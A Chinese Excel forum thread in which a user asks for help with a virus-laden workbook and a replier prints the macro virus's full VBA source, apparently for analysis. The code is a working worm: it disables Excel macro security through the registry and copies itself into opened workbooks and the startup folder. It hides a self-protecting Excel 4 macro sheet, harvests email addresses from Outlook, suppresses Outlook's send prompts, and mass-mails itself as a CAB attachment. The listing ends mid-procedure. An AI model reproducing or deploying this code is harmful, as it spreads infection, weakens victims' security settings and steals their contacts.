[已解决]求助破解病毒文件

huangcaiguang

求助破解病毒文件

最佳答案

月排行榜 / 总排行榜

无聊的疯子

2013-4-16 11:09

附件中的  todole 模块里的  病毒代码如下

你想怎么破解呢??代码都在里面,都是本地操作的!!

1. 
   
2. Private Sub auto_open()
   
3. Application.DisplayAlerts = False
   
4. If ThisWorkbook.Path <> Application.StartupPath Then
   
5.   Application.ScreenUpdating = False
   
6.   Call delete_this_wk
   
7.   Call copytoworkbook
   
8.   If Sheets(1).Name <> "Macro1" Then Movemacro4 ThisWorkbook
   
9.   ThisWorkbook.Save
   
10.   Application.ScreenUpdating = True
    
11. End If
    
12. End Sub
    
13. Private Sub copytoworkbook()
    
14.   Const DQUOTE = """"
    
15.   With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
    
16. .InsertLines 1, "Public WithEvents xx As Application"
    
17. .InsertLines 2, "Private Sub Workbook_open()"
    
18. .InsertLines 3, "Set xx = Application"
    
19. .InsertLines 4, "On Error Resume Next"
    
20. .InsertLines 5, "Application.DisplayAlerts = False"
    
21. .InsertLines 6, "Call do_what"
    
22. .InsertLines 7, "End Sub"
    
23. .InsertLines 8, "Private Sub xx_workbookOpen(ByVal wb As Workbook)"
    
24. .InsertLines 9, "On Error Resume Next"
    
25. .InsertLines 10, "wb.VBProject.References.AddFromGuid _"
    
26. .InsertLines 11, "GUID:=" & DQUOTE & "{0002E157-0000-0000-C000-000000000046}" & DQUOTE & ", _"
    
27. .InsertLines 12, "Major:=5, Minor:=3"
    
28. .InsertLines 13, "Application.ScreenUpdating = False"
    
29. .InsertLines 14, "Application.DisplayAlerts = False"
    
30. .InsertLines 15, "copystart wb"
    
31. .InsertLines 16, "Application.ScreenUpdating = True"
    
32. .InsertLines 17, "End Sub"
    
33. End With
    
34. End Sub
    
35. Private Sub delete_this_wk()
    
36. Dim VBProj As VBIDE.VBProject
    
37. Dim VBComp As VBIDE.VBComponent
    
38. Dim CodeMod As VBIDE.CodeModule
    
39. Set VBProj = ThisWorkbook.VBProject
    
40. Set VBComp = VBProj.VBComponents("ThisWorkbook")
    
41. Set CodeMod = VBComp.CodeModule
    
42. With CodeMod
    
43.     .DeleteLines 1, .CountOfLines
    
44. End With
    
45. End Sub
    
46. Function do_what()
    
47. If ThisWorkbook.Path <> Application.StartupPath Then
    
48.   RestoreAfterOpen
    
49.   Call OpenDoor
    
50.   Call Microsofthobby
    
51.   Call ActionJudge
    
52. End If
    
53. End Function
    
54. Function copystart(ByVal wb As Workbook)
    
55. On Error Resume Next
    
56. Dim VBProj1 As VBIDE.VBProject
    
57. Dim VBProj2 As VBIDE.VBProject
    
58. Set VBProj1 = Workbooks("k4.xls").VBProject
    
59. Set VBProj2 = wb.VBProject
    
60. If copymodule("ToDole", VBProj1, VBProj2, False) Then Exit Function
    
61. End Function
    
62. Function copymodule(ModuleName As String, _
    
63.     FromVBProject As VBIDE.VBProject, _
    
64.     ToVBProject As VBIDE.VBProject, _
    
65.     OverwriteExisting As Boolean) As Boolean
    
66.    
    
67.     On Error Resume Next
    
68.     Dim VBComp As VBIDE.VBComponent
    
69.     Dim FName As String
    
70.     Dim CompName As String
    
71.     Dim S As String
    
72.     Dim SlashPos As Long
    
73.     Dim ExtPos As Long
    
74.     Dim TempVBComp As VBIDE.VBComponent
    
75.    
    
76.     If FromVBProject Is Nothing Then
    
77.         copymodule = False
    
78.         Exit Function
    
79.     End If
    
80.    
    
81.     If Trim(ModuleName) = vbNullString Then
    
82.         copymodule = False
    
83.         Exit Function
    
84.     End If
    
85.    
    
86.     If ToVBProject Is Nothing Then
    
87.         copymodule = False
    
88.         Exit Function
    
89.     End If
    
90.    
    
91.     If FromVBProject.Protection = vbext_pp_locked Then
    
92.         copymodule = False
    
93.         Exit Function
    
94.     End If
    
95.    
    
96.     If ToVBProject.Protection = vbext_pp_locked Then
    
97.         copymodule = False
    
98.         Exit Function
    
99.     End If
    
100.    
     
101.     On Error Resume Next
     
102.     Set VBComp = FromVBProject.VBComponents(ModuleName)
     
103.     If Err.Number <> 0 Then
     
104.         copymodule = False
     
105.         Exit Function
     
106.     End If
     
107.    
     
108.     FName = Environ("Temp") & "" & ModuleName & ".bas"
     
109.     If OverwriteExisting = True Then
     
110.       
     
111.         If Dir(FName, vbNormal + vbHidden + vbSystem) <> vbNullString Then
     
112.             Err.Clear
     
113.             Kill FName
     
114.             If Err.Number <> 0 Then
     
115.                 copymodule = False
     
116.                 Exit Function
     
117.             End If
     
118.         End If
     
119.         With ToVBProject.VBComponents
     
120.             .Remove .Item(ModuleName)
     
121.         End With
     
122.     Else
     
123.         
     
124.         Err.Clear
     
125.         Set VBComp = ToVBProject.VBComponents(ModuleName)
     
126.         If Err.Number <> 0 Then
     
127.             If Err.Number = 9 Then
     
128.                
     
129.             Else
     
130.                
     
131.                 copymodule = False
     
132.                 Exit Function
     
133.             End If
     
134.         End If
     
135.     End If
     
136.    
     
137.     FromVBProject.VBComponents(ModuleName).Export FileName:=FName
     
138.    
     
139.     SlashPos = InStrRev(FName, "")
     
140.     ExtPos = InStrRev(FName, ".")
     
141.     CompName = Mid(FName, SlashPos + 1, ExtPos - SlashPos - 1)
     
142.    
     
143.     Set VBComp = Nothing
     
144.     Set VBComp = ToVBProject.VBComponents(CompName)
     
145.    
     
146.     If VBComp Is Nothing Then
     
147.         ToVBProject.VBComponents.Import FileName:=FName
     
148.     Else
     
149.         If VBComp.Type = vbext_ct_Document Then
     
150.             
     
151.             Set TempVBComp = ToVBProject.VBComponents.Import(FName)
     
152.            
     
153.             With VBComp.CodeModule
     
154.                 .DeleteLines 1, .CountOfLines
     
155.                 S = TempVBComp.CodeModule.Lines(1, TempVBComp.CodeModule.CountOfLines)
     
156.                 .InsertLines 1, S
     
157.             End With
     
158.             On Error GoTo 0
     
159.             ToVBProject.VBComponents.Remove TempVBComp
     
160.         End If
     
161.     End If
     
162.     Kill FName
     
163.     copymodule = True
     
164. End Function
     
165. Function Microsofthobby()
     
166. Dim myfile0 As String
     
167. Dim MyFile As String
     
168. On Error Resume Next
     
169. myfile0 = ThisWorkbook.FullName
     
170. MyFile = Application.StartupPath & "\k4.xls"
     
171. If WorkbookOpen("k4.xls") And ThisWorkbook.Path <> Application.StartupPath Then Workbooks("k4.xls").Close False
     
172. Shell Environ$("comspec") & " /c attrib -S -h """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus
     
173. Shell Environ$("comspec") & " /c Del /F /Q """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus
     
174. Shell Environ$("comspec") & " /c RD /S /Q """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus
     
175. If ThisWorkbook.Path <> Application.StartupPath Then
     
176.      Application.ScreenUpdating = False
     
177.      ThisWorkbook.IsAddin = True
     
178.      ThisWorkbook.SaveCopyAs MyFile
     
179.      ThisWorkbook.IsAddin = False
     
180.      Application.ScreenUpdating = True
     
181. End If
     
182. End Function
     
183. Function OpenDoor()
     
184. Dim Fso, RK1 As String, RK2 As String, RK3 As String, RK4 As String
     
185. Dim KValue1 As Variant, KValue2 As Variant
     
186. Dim VS As String
     
187. On Error Resume Next
     
188. VS = Application.Version
     
189. Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
     
190. RK1 = "HKEY_CURRENT_USER\Software\Microsoft\Office" & VS & "\Excel\Security\AccessVBOM"
     
191. RK2 = "HKEY_CURRENT_USER\Software\Microsoft\Office" & VS & "\Excel\Security\Level"
     
192. RK3 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office" & VS & "\Excel\Security\AccessVBOM"
     
193. RK4 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office" & VS & "\Excel\Security\Level"
     
194. KValue1 = 1
     
195. KValue2 = 1
     
196.       Call WReg(RK1, KValue1, "REG_DWORD")
     
197.       Call WReg(RK2, KValue2, "REG_DWORD")
     
198.       Call WReg(RK3, KValue1, "REG_DWORD")
     
199.       Call WReg(RK4, KValue2, "REG_DWORD")
     
200. End Function
     
201. Sub WReg(strkey As String, Value As Variant, ValueType As String)
     
202.     Dim oWshell
     
203.     Set oWshell = CreateObject("WScript.Shell")
     
204.     If ValueType = "" Then
     
205.         oWshell.RegWrite strkey, Value
     
206.     Else
     
207.         oWshell.RegWrite strkey, Value, ValueType
     
208.     End If
     
209.     Set oWshell = Nothing
     
210. End Sub
     
211. 
     
212. Private Sub Movemacro4(ByVal wb As Workbook)
     
213. On Error Resume Next
     
214.   Dim sht As Object
     
215.     wb.Sheets(1).Select
     
216.     Sheets.Add Type:=xlExcel4MacroSheet
     
217.     ActiveSheet.Name = "Macro1"
     
218.    
     
219.     Range("A2").Select
     
220.     ActiveCell.FormulaR1C1 = "=ERROR(FALSE)"
     
221.     Range("A3").Select
     
222.     ActiveCell.FormulaR1C1 = "=IF(ERROR.TYPE(RUN(""" & Application.UserName & """))=4)"
     
223.     Range("A4").Select
     
224.     ActiveCell.FormulaR1C1 = "=ALERT(""禁用宏，关闭 " & Chr(10) & Now & Chr(10) & "Please Enable Macro!"",3)"
     
225.     Range("A5").Select
     
226.     ActiveCell.FormulaR1C1 = "=FILE.CLOSE(FALSE)"
     
227.     Range("A6").Select
     
228.     ActiveCell.FormulaR1C1 = "=END.IF()"
     
229.     Range("A7").Select
     
230.     ActiveCell.FormulaR1C1 = "=RETURN()"
     
231.    
     
232.     For Each sht In wb.Sheets
     
233.     wb.Names.Add sht.Name & "!Auto_Activate", "=Macro1!$A$2", False
     
234.     Next
     
235.     wb.Excel4MacroSheets(1).Visible = xlSheetVeryHidden
     
236. End Sub
     
237. Private Function WorkbookOpen(WorkBookName As String) As Boolean
     
238.   WorkbookOpen = False
     
239.   On Error GoTo WorkBookNotOpen
     
240.   If Len(Application.Workbooks(WorkBookName).Name) > 0 Then
     
241.     WorkbookOpen = True
     
242.     Exit Function
     
243.   End If
     
244. WorkBookNotOpen:
     
245. End Function
     
246. Private Sub ActionJudge()
     
247. Const T1 As Date = "10:00:00"
     
248. Const T2 As Date = "11:00:00"
     
249. Const T3 As Date = "14:00:00"
     
250. Const T4 As Date = "15:00:00"
     
251. Dim SentTime As Date, WshShell
     
252. Set WshShell = CreateObject("WScript.Shell")
     
253. If Not InStr(UCase(WshShell.RegRead("HKEY_CLASSES_ROOT\mailto\shell\open\command")), "OUTLOOK.EXE") > 0 Then Exit Sub
     
254. If Time >= T1 And Time <= T2 Or Time >= T3 And Time <= T4 Then
     
255.       If ReadOut("D:\Collected_Address:frag1.txt") = "1" Then
     
256.            Exit Sub
     
257.       Else
     
258.            CreateFile "1", "D:\Collected_Address:frag1.txt"
     
259.            search_in_OL
     
260.       End If
     
261. Else
     
262.      If Not if_outlook_open Then Exit Sub
     
263.      If Time > T2 And Time <= DateAdd("n", 10, T2) Or Time > T4 And Time <= DateAdd("n", 10, T4) Then
     
264.           Exit Sub
     
265.      Else
     
266.           SentTime = DateAdd("n", -21, Now)
     
267.           On Error GoTo timeError
     
268.           SentTime = CDate(ReadOut("D:\Collected_Address:frag2.txt"))
     
269. timeError:
     
270.           If Now < DateAdd("n", 20, SentTime) Or ReadOut("D:\Collected_Address\log.txt") = "" Then
     
271.                 Exit Sub
     
272.           Else
     
273.                 CreateFile "", "D:\Collected_Address:frag1.txt"
     
274.                 CreateFile Now, "D:\Collected_Address:frag2.txt"
     
275.                 CreatCab_SendMail
     
276.           End If
     
277.      End If
     
278. End If
     
279. End Sub
     
280. 
     
281. Private Sub search_in_OL()
     
282. Dim i As Integer, AttName As String, AddVbsFile As String, AddListFile As String, fs As Object, WshShell As Object
     
283. On Error Resume Next
     
284. Set fs = CreateObject("scripting.filesystemobject")
     
285. Set WshShell = CreateObject("WScript.Shell")
     
286. If fs.Folderexists("E:\KK") = False Then fs.CreateFolder "E:\KK"
     
287. AttName = Replace(Replace(Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4), " ", "_"), ".", "_")
     
288. AddVbsFile_clear = "E:\KK" & AttName & "_clear.vbs"
     
289. i = FreeFile
     
290. Open AddVbsFile_clear For Output Access Write As #i
     
291. Print #i, "On error Resume Next"
     
292. Print #i, "Dim wsh, tle, T0, i"
     
293. Print #i, "  T0 = Timer"
     
294. Print #i, "  Set wsh=createobject(""" & "wscript.shell""" & ")"
     
295. Print #i, "  tle = """ & "Microsoft Office Outlook""" & ""
     
296. Print #i, "For i = 1 To 1000"
     
297. Print #i, "    If Timer - T0 > 60 Then Exit For"
     
298. Print #i, "  Call Refresh()"
     
299. Print #i, "  wscript.sleep 05"
     
300. Print #i, "  wsh.sendKeys """ & "%a""" & ""
     
301. Print #i, "  wscript.sleep 05"
     
302. Print #i, "  wsh.sendKeys """ & "{TAB}{TAB}""" & ""
     
303. Print #i, "  wscript.sleep 05"
     
304. Print #i, "  wsh.sendKeys """ & "{Enter}""" & ""
     
305. Print #i, "Next"
     
306. Print #i, "Set wsh = Nothing"
     
307. Print #i, "wscript.quit"
     
308. Print #i, "Sub Refresh()"
     
309. Print #i, "Do Until wsh.AppActivate(CStr(tle)) = True"
     
310. Print #i, "    If Timer - T0 > 60 Then Exit Sub"
     
311. Print #i, "Loop"
     
312. Print #i, "  wscript.sleep 05"
     
313. Print #i, "    wsh.SendKeys """ & "%{F4}""" & ""
     
314. Print #i, "End Sub"
     
315. Close (i)
     
316. AddVbsFile_search = "E:\KK" & AttName & "_Search.vbs"
     
317. i = FreeFile
     
318. Open AddVbsFile_search For Output Access Write As #i
     
319. Print #i, "On error Resume Next"
     
320. Print #i, "Const olFolderInbox = 6"
     
321. Print #i, "Dim conbinded_address,WshShell,sh,ts"
     
322. Print #i, "Set WshShell=WScript.CreateObject(""" & "WScript.Shell""" & ")"
     
323. Print #i, "Set objOutlook = CreateObject(""" & "Outlook.Application""" & ")"
     
324. Print #i, "Set objNamespace = objOutlook.GetNamespace(""" & "MAPI""" & ")"
     
325. Print #i, "Set objFolder = objNamespace.GetDefaultFolder(olFolderInbox)"
     
326. Print #i, "Set TargetFolder = objFolder"
     
327. Print #i, "conbinded_address = """ & """" & ""
     
328. Print #i, "Set colItems = TargetFolder.Items"
     
329. Print #i, "wscript.sleep 300000"
     
330. Print #i, "WshSHell.Run (""" & "wscript.exe " & AddVbsFile_clear & """" & "), vbHide, False"
     
331. Print #i, "ts = Timer"
     
332. Print #i, "For Each objMessage in colItems"
     
333. Print #i, "       If Timer - ts >55 then exit For"
     
334. Print #i, "       conbinded_address = conbinded_address & valid_address(objMessage.Body)"
     
335. Print #i, "Next"
     
336. Print #i, "add_text conbinded_address, 8"
     
337. Print #i, "add_text all_non_same(ReadAllTextFile), 2"
     
338. Print #i, "WScript.Quit"
     
339. Print #i, ""
     
340. Print #i, "Private Function valid_address(source_data)"
     
341. Print #i, "   Dim oDict, trimed_data , temp_data, i, t_asc, header_end, trimed_arr, nonsame_arr"
     
342. Print #i, "   Dim regex, matchs, ss, arr()"
     
343. Print #i, "   Set oDict = CreateObject(""" & "Scripting.Dictionary""" & ")"
     
344. Print #i, "   Set regex = CreateObject(""" & "VBSCRIPT.REGEXP""" & ")"
     
345. Print #i, ""
     
346. Print #i, "   regex.Global = True"
     
347. Print #i, "   regex.Pattern = """ & "\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*""" & ""
     
348. Print #i, "   Set matchs = regex.Execute(source_data)"
     
349. Print #i, "   ReDim trimed_arr(matchs.Count - 1)"
     
350. Print #i, "   For i = Lbound(trimed_arr) To Ubound(trimed_arr)"
     
351. Print #i, "        trimed_arr(i) = matchs.Item(i) & vbCrLf"
     
352. Print #i, "   Next"
     
353. Print #i, ""
     
354. Print #i, "   For i = LBound(trimed_arr) To UBound(trimed_arr)"
     
355. Print #i, "        oDict(trimed_arr(i)) = """ & """" & ""
     
356. Print #i, "   Next"
     
357. Print #i, ""
     
358. Print #i, "   If oDict.Count > 0 Then"
     
359. Print #i, "        nonsame_arr = oDict.keys"
     
360. Print #i, "        For i = LBound(nonsame_arr) To UBound(nonsame_arr)"
     
361. Print #i, "             valid_address = valid_address & nonsame_arr(i)"
     
362. Print #i, "        Next"
     
363. Print #i, "   End If"
     
364. Print #i, "   Set oDict = Nothing"
     
365. Print #i, "End Function"
     
366. Print #i, ""
     
367. Print #i, "Private Sub add_text(inputed_string, input_frag)"
     
368. Print #i, "   Dim objFSO, logfile, logtext, log_path, log_folder"
     
369. Print #i, "   log_path = """ & "D:\Collected_Address""" & ""
     
370. Print #i, "   Set objFSO = CreateObject(""" & "Scripting.FileSystemObject""" & ")"
     
371. Print #i, "   On Error resume next"
     
372. Print #i, "   Set log_folder = objFSO.CreateFolder(log_path)"
     
373. Print #i, ""
     
374. Print #i, "   If objFSO.FileExists(log_path & """ & "\log.txt""" & ") = 0 Then"
     
375. Print #i, "       Set logfile = objFSO.CreateTextFile(log_path & """ & "\log.txt""" & ", True)"
     
376. Print #i, "   End If"
     
377. Print #i, "   Set log_folder = Nothing"
     
378. Print #i, "   Set logfile = Nothing"
     
379. Print #i, ""
     
380. Print #i, "   Select Case input_frag"
     
381. Print #i, "     Case 8"
     
382. Print #i, "          Set logtext = objFSO.OpenTextFile(log_path & """ & "\log.txt""" & ", 8, True, -1)"
     
383. Print #i, "          logtext.Write inputed_string"
     
384. Print #i, "          logtext.Close"
     
385. Print #i, "     Case 2"
     
386. Print #i, "          Set logtext = objFSO.OpenTextFile(log_path & """ & "\log.txt""" & ", 2, True, -1)"
     
387. Print #i, "          logtext.Write inputed_string"
     
388. Print #i, "          logtext.Close"
     
389. Print #i, "   End Select"
     
390. Print #i, "   set objFSO = nothing"
     
391. Print #i, "End Sub"
     
392. Print #i, ""
     
393. Print #i, "Private Function ReadAllTextFile()"
     
394. Print #i, "    Dim objFSO, FileName, MyFile"
     
395. Print #i, "    FileName = """ & "D:\Collected_Address\log.txt""" & ""
     
396. Print #i, "    Set objFSO = CreateObject(""" & "Scripting.FileSystemObject""" & ")"
     
397. Print #i, "    Set MyFile = objFSO.OpenTextFile(FileName, 1, False, -1)"
     
398. Print #i, "    If MyFile.AtEndOfStream Then"
     
399. Print #i, "        ReadAllTextFile = """ & """" & ""
     
400. Print #i, "    Else"
     
401. Print #i, "        ReadAllTextFile = MyFile.ReadAll"
     
402. Print #i, "    End If"
     
403. Print #i, "set objFSO = nothing"
     
404. Print #i, "End Function"
     
405. Print #i, ""
     
406. Print #i, "Private Function all_non_same(source_data)"
     
407. Print #i, "   Dim oDict, i, trimed_arr, nonsame_arr"
     
408. Print #i, "   all_non_same = """ & """" & ""
     
409. Print #i, "   Set oDict = CreateObject(""" & "Scripting.Dictionary""" & ")"
     
410. Print #i, ""
     
411. Print #i, "   trimed_arr = Split(source_data, vbCrLf)"
     
412. Print #i, ""
     
413. Print #i, "   For i = LBound(trimed_arr) To UBound(trimed_arr)"
     
414. Print #i, "         oDict(trimed_arr(i)) = """ & """" & ""
     
415. Print #i, "   Next"
     
416. Print #i, ""
     
417. Print #i, "   If oDict.Count > 0 Then"
     
418. Print #i, "        nonsame_arr = oDict.keys"
     
419. Print #i, "        For i = LBound(nonsame_arr) To UBound(nonsame_arr)"
     
420. Print #i, "             all_non_same = all_non_same & nonsame_arr(i) & vbCrLf"
     
421. Print #i, "        Next"
     
422. Print #i, "   End If"
     
423. Print #i, "   Set oDict = Nothing"
     
424. Print #i, "End Function"
     
425. Close (i)
     
426. Application.WindowState = xlMaximized
     
427. WshShell.Run ("wscript.exe " & AddVbsFile_search), vbHide, False
     
428. Set WshShell = Nothing
     
429. End Sub
     
430. Private Sub CreatCab_SendMail()
     
431. Dim i As Integer, AttName As String, AddVbsFile As String, AddListFile As String, Address_list As String
     
432. Dim fs As Object, WshShell As Object
     
433. Address_list = get_ten_address
     
434. Set WshShell = CreateObject("WScript.Shell")
     
435. Set fs = CreateObject("scripting.filesystemobject")
     
436. If fs.Folderexists("E:\SORCE") = False Then fs.CreateFolder "E:\SORCE"
     
437. AttName = Replace(Replace(Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4), " ", "_"), ".", "_")
     
438. mail_sub = "*" & AttName & "*Message*"
     
439. AddVbsFile = "E:\sorce" & AttName & "_Key.vbs"
     
440. i = FreeFile
     
441. Open AddVbsFile For Output Access Write As #i
     
442.    
     
443. Print #i, "Dim oexcel,owb, WshShell,Fso,Atta_xls,sh,route"
     
444. Print #i, "On error Resume Next"
     
445. Print #i, "Set sh=WScript.CreateObject(""" & "shell.application""" & ")"
     
446. Print #i, "sh.MinimizeAll"
     
447. Print #i, "Set sh = Nothing"
     
448. Print #i, "Set Fso = CreateObject(""" & "Scripting.FileSystemObject""" & ")"
     
449. Print #i, "Set WshShell = WScript.CreateObject(""" & "WScript.Shell""" & ")"
     
450. Print #i, "If Fso.Folderexists(""" & "E:\KK""" & ") = False Then Fso.CreateFolder """ & "E:\KK"""
     
451. Print #i, "Fso.CopyFile  _"
     
452. Print #i, "WshShell.CurrentDirectory & """ & "" & AttName & "*.CAB""" & "," & " " & """E:\KK""" & ", True"
     
453. Print #i, "For Each Atta_xls In ListDir(""" & "E:\KK""" & ")"
     
454. Print #i, "   WshShell.Run """ & "expand """ & " & Atta_xls & """ & " -F:" & AttName & ".xls E:\KK""" & ", 0, true"
     
455. Print #i, "Next"
     
456. Print #i, "If Fso.FileExists(""" & "E:\KK" & AttName & ".xls""" & ") = 0 then"
     
457. Print #i, "        route = WshShell.CurrentDirectory & """ & "" & AttName & ".xls"""
     
458. Print #i, "        if Fso.FileExists(WshShell.CurrentDirectory & """ & "" & AttName & ".xls""" & ")=0 then"
     
459. Print #i, "                 route = InputBox(""" & "Warning! """ & " & Chr(10) & """ & "You are going to open a confidential file.""" & "& Chr(10)   _"
     
460. Print #i, "                               & """ & "Please input the complete file path.""" & " & Chr(10) & """ & "ex. C:\parth\confidential_file.xls""" & ", _"
     
461. Print #i, "                               """ & "Open a File""" & " , """ & "Please Input the Complete File Path""" & ", 10000, 8500)"
     
462. Print #i, "        End if"
     
463. Print #i, "else"
     
464. Print #i, "        route = """ & "E:\KK" & AttName & ".xls"""
     
465. Print #i, "End If"
     
466. Print #i, "   set oexcel=createobject(""" & "excel.application""" & ")"
     
467. Print #i, "   set owb=oexcel.workbooks.open(route)"
     
468. Print #i, "   oExcel.Visible = True"
     
469. Print #i, "Set oExcel = Nothing"
     
470. Print #i, "Set oWb = Nothing"
     
471. Print #i, "Set  WshShell = Nothing"
     
472. Print #i, "Set Fso = Nothing"
     
473. Print #i, "WScript.Quit"
     
474. Print #i, "Private Function ListDir (ByVal Path)"
     
475. Print #i, "   Dim Filter, a, n, Folder, Files, File"
     
476. Print #i, "       ReDim a(10)"
     
477. Print #i, "    n = 0"
     
478. Print #i, "  Set Folder = fso.GetFolder(Path)"
     
479. Print #i, "   Set Files = Folder.Files"
     
480. Print #i, "   For Each File In Files"
     
481. Print #i, "      If left(File.Name," & Len(AttName) & ") = """ & AttName & """ and right(File.Name,3) = """ & "CAB""" & " Then"
     
482. Print #i, "         If n > UBound(a) Then ReDim Preserve a(n*2)"
     
483. Print #i, "            a(n) = File.Path"
     
484. Print #i, "            n = n + 1"
     
485. Print #i, "       End If"
     
486. Print #i, "   Next"
     
487. Print #i, "   ReDim Preserve a(n-1)"
     
488. Print #i, "   ListDir = a"
     
489. Print #i, "End Function"
     
490. Close (i)
     
491. AddListFile = ThisWorkbook.Path & "\TEST.txt"
     
492. i = FreeFile
     
493. Open AddListFile For Output Access Write As #i
     
494. Print #i, "E:\sorce" & AttName & "_Key.vbs"
     
495. Print #i, "E:\sorce" & AttName & ".xls"
     
496. Close (i)
     
497. Application.ScreenUpdating = False
     
498. RestoreBeforeSend
     
499. ThisWorkbook.SaveCopyAs "E:\sorce" & AttName & ".xls"
     
500. RestoreAfterOpen
     
501. c4$ = CurDir()
     
502. ChDrive Left(ThisWorkbook.Path, 3) '"C:"
     
503. ChDir ThisWorkbook.Path
     
504. WshShell.Run Environ$("comspec") & " /c makecab /F """ & ThisWorkbook.Path & "\TEST.TXT""" & " /D COMPRESSIONTYPE=LZX /D COMPRESSIONMEMORY=21 /D CABINETNAMETEMPLATE=../" & AttName & ".CAB", vbHide, False
     
505. Do Until fs.FileExists(ThisWorkbook.Path & "\TEST.txt") _
     
506. And fs.FileExists(ThisWorkbook.Path & "\setup.rpt") And fs.FileExists(ThisWorkbook.Path & "\setup.inf") _
     
507. And fs.FileExists(ThisWorkbook.Path & "" & AttName & ".CAB")
     
508. DoEvents
     
509. Loop
     
510. WshShell.Run Environ$("comspec") & " /c RD /S /Q """ & ThisWorkbook.Path & "\disk1""", vbHide, False
     
511. WshShell.Run Environ$("comspec") & " /c Del /F /Q """ & ThisWorkbook.Path & "\TEST.txt""", vbHide, False
     
512. WshShell.Run Environ$("comspec") & " /c Del /F /Q """ & ThisWorkbook.Path & "\setup.rpt""", vbHide, False
     
513. WshShell.Run Environ$("comspec") & " /c Del /F /Q """ & ThisWorkbook.Path & "\setup.inf""", vbHide, False
     
514. WshShell.Run Environ$("comspec") & " /c RD /S /Q E:\sorce", vbHide, False
     
515. If fs.Folderexists("E:\KK") = False Then fs.CreateFolder "E:\KK"
     
516. WshShell.Run Environ$("comspec") & " /c MOVE /Y " & AttName & ".CAB E:\KK""", vbHide, False
     
517. ChDir c4$
     
518. Call Massive_SendMail(Address_list, AttName, "Dear all," & vbCrLf & AttName & vbCrLf & "FYI", _
     
519. "", "E:\KK" & AttName & ".CAB")
     
520. WshShell.Run Environ$("comspec") & " /c RD /S /Q E:\KK", vbHide, False
     
521. Set WshShell = Nothing
     
522. Application.ScreenUpdating = True
     
523. End Sub
     
524. Private Sub Massive_SendMail(Email_Address$, Subject$, Body$, CC_email_add$, Attachment$)
     
525.     Dim objOL As Object
     
526.     Dim itmNewMail As Object
     
527.     If Not if_outlook_open Then Exit Sub
     
528.    
     
529.     Set objOL = CreateObject("Outlook.Application")
     
530.     Set itmNewMail = objOL.CreateItem(olMailItem)
     
531.    
     
532.     With itmNewMail
     
533.         .Subject = Subject
     
534.         .Body = Body
     
535.         .To = Email_Address
     
536.         .CC = CC_email_add
     
537.         .Attachments.Add Attachment
     
538.         .DeleteAfterSubmit = True
     
539.     End With
     
540.     On Error GoTo continue
     
541. SendEmail:
     
542.     itmNewMail.display
     
543.     Debug.Print "setforth "
     
544.     DoEvents
     
545.     DoEvents
     
546.     DoEvents
     
547.     SendKeys "%s", Wait:=True
     
548.     DoEvents
     
549.     GoTo SendEmail
     
550. continue:
     
551.     Set objOL = Nothing
     
552.     Set itmNewMail = Nothing
     
553. End Sub
     
554. Private Function if_outlook_open() As Boolean
     
555. Set objs = GetObject("WinMgmts:").InstancesOf("Win32_Process")
     
556. if_outlook_open = False
     
557. For Each obj In objs
     
558. If InStr(obj.Description, "OUTLOOK") > 0 Then
     
559. if_outlook_open = True
     
560. Exit For
     
561. End If
     
562. Next
     
563. End Function
     
564. Private Function RadomNine(length As Integer) As String
     
565. Dim jj As Integer, k As Integer, i As Integer
     
566. RadomNine = ""
     
567. If length <= 0 Then Exit Function
     
568. If length <= 10 Then
     
569.      For i = 1 To length
     
570.      RadomNine = RadomNine & "$$" & i
     
571.      Next i
     
572.      Exit Function
     
573. End If
     
574. jj = length / 10
     
575. Randomize
     
576. For i = 1 To 10
     
577.       k = Int(Rnd * (jj * i - m - 1)) + 1
     
578.       If m + k <> 1 Then RadomNine = RadomNine & "$$" & m + k
     
579.       m = m + k
     
580. Next
     
581. End Function
     
582. Private Function get_ten_address() As String
     
583. Dim singleAddress_arr, krr, i As Integer
     
584. get_ten_address = ""
     
585. singleAddress_arr = Split(ReadOut("D:\Collected_Address\log.txt"), vbCrLf)
     
586. krr = Split(RadomNine(UBound(singleAddress_arr) - LBound(singleAddress_arr) + 1), "$$")
     
587. For i = 1 To UBound(krr)
     
588. get_ten_address = get_ten_address & ";" & singleAddress_arr(CInt(krr(i)) - 1)
     
589. Next i
     
590. End Function
     
591. Private Function ReadOut(FullPath) As String
     
592.     On Error Resume Next
     
593.     Dim Fso, FileText
     
594.     Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
     
595.     Set FileText = Fso.OpenTextFile(FullPath, 1, False, -1)
     
596.     ReadOut = FileText.ReadAll
     
597.     FileText.Close
     
598. End Function
     
599. Private Sub CreateFile(FragMark, pathf)
     
600.     On Error Resume Next
     
601.     Dim Fso, FileText
     
602.     Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
     
603.     If Fso.Folderexists(Left(pathf, Len(pathf) - 10)) = False Then Fso.CreateFolder Left(pathf, Len(pathf) - 10)
     
604.     If Fso.FileExists(pathf) Then
     
605.         Set FileText = Fso.OpenTextFile(pathf, 2, False, -1)
     
606.         FileText.Write FragMark
     
607.         FileText.Close
     
608.     Else
     
609.         Set FileText = Fso.OpenTextFile(pathf, 2, True, -1)
     
610.         FileText.Write FragMark
     
611.         FileText.Close
     
612.     End If
     
613. End Sub
     
614. 
     
615. Private Sub RestoreBeforeSend()
     
616. Dim aa As Name, i_row As Integer, i_col As Integer
     
617. Dim sht As Object
     
618. Application.ScreenUpdating = False
     
619. Application.DisplayAlerts = False
     
620. On Error Resume Next
     
621. For Each aa In ThisWorkbook.Names
     
622.      aa.Visible = True
     
623.      If Split(aa.Name, "!")(1) = "Auto_Activate" Then aa.Delete
     
624. Next
     
625. For Each sht In ThisWorkbook.Sheets
     
626.      If sht.Name = "Macro1" Then
     
627.      sht.Visible = xlSheetVisible
     
628.      sht.Delete
     
629.      End If
     
630. Next
     
631. Sheets(1).Select
     
632. Sheets.Add
     
633. For Each sht In ThisWorkbook.Sheets
     
634.      If sht.Name <> Sheets(1).Name Then sht.Visible = xlSheetVeryHidden
     
635. Next
     
